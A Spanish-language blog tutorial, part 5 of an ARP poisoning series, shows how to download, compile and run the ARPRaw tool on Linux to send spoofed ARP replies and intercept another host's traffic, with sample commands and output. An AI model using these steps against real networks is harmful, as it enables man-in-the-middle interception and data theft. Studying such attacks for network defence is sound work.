ARP Poison 5 - Windows && Linux (Linux)

    Hola, en esta entrega verás la versión del FRAMEWORK de C++ funcional para Windows y Linux, en windows es algo más lioso de instalar pero vale la pena aprender a compilarlo en este entorno.
Prerequisitos:

• Haber leído los artículos ARP Poison 1 - 4.
• Conocimientos básicos del modelo OSI y TCP.
• Conocimientos básicos en C++ para compilar (Intermedio/Avanzado si quisieras modificar el código).

LINUX

    Como recordatorio, debes tener instalado los paquetes de pcap, libpcap y libpcap-devel además el svn, estos vienen en los repositorios de la distribución de linux que utilices.

1.- Descargando Framework Crossover desde el servidor SvN:
    Si ya tienes descargado, el svn, comencemos a descargar el Framework, para tener una estructura acorde al desarrollo se creara una carpeta crossover con el siguiente comando.

svn co https://riouxsvn.com/svn/crossover/rc/crossover-0 crossover

2.- Descarga la versión 0 del aplicativo ARPRaw:

svn checkout http://arpraw.googlecode.com/svn/trunk/ arpraw

    En este momento las carpetas deberían estar de la siguiente forma:

raiz
|___ arpraw
|___ crossover

3.- Compilando:
     para compilar, debes ingresar a la carpeta:

$ cd arpraw/arpraw

Y luego ejecutar make

arpraw/arpraw$ make 

Con esto se creará el archivo main.o, este es el ejecutable final, ahora debes ejecutarlo con

arpraw/arpraw$ ./main.o

Al ejecutar el comando te saldrán las opciones de uso de la aplicación:

arpraw/arpraw$ ./main.o
ARPRaw 0.1 (ahkbar.blogspot.com)
#././main.o -i  [options] -dip  [-sip ]

 -D   List device
 -dip   Dest IP
 -sip   Source IP

Options: 
 -op    Operation Code, 1 for Response, 2 For Reply, default is Reply

Para realizar un envenenamiento de un solo camino, se ejecutará el programa de la siguiente manera:
NOTA:Debes ser usuario root para ejecutar el aplicativo si no te mostrará un mensaje de error. #./main.o -i eth0 -dip 192.168.2.1

[root@localhost arpraw]# ./main.o -i eth0 -sip 192.168.2.1 -dip 192.168.2.3 

Delay 500 Miliseconds

Reply Src 192.168.2.1 -> Dst 192.168.2.3
Reply Src 192.168.2.1 -> Dst 192.168.2.3
Reply Src 192.168.2.1 -> Dst 192.168.2.3
Reply Src 192.168.2.1 -> Dst 192.168.2.3

Ahora el aplicativo está enviando paquetes arp spofeados a la ip 192.168.2.3, y le esta diciendo que la mac de 192.168.2.1 es la mac del equipo local, entonces todos los paquetes que viajen desde 192.168.2.3 a 192.168.2.1 serán visto por el equipo local. Queda pendiente la instalación en Windows, será para la próxima para no retrasar este POST,